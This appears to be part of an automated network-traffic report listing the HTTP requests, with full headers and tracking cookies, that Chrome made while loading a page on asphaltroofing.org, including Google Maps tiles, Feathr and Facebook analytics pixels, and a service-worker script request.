Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=4792 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24909!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=69732 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=63550 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=12999 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=93519 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/recycle-150x150.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=42968 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24909!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=69732 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=63550 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=4792 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884061150 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/ultimate-responsive-image-slider/assets/css/images/openhand.cur HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/wp-content/plugins/ultimate-responsive-image-slider/assets/css/slider-pro.css?ver=6.0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/roofing.png?id=96 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/ultimate-responsive-image-slider/assets/css/images/openhand.cur HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884061835&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884061835&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884062447 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/guide-for-professionals/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger;navigation-source, event-sourceReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884062447 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/security.js?v=1713884062447User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232ZIf-None-Match: "4506e-5c6-5ddcbf6119400"If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
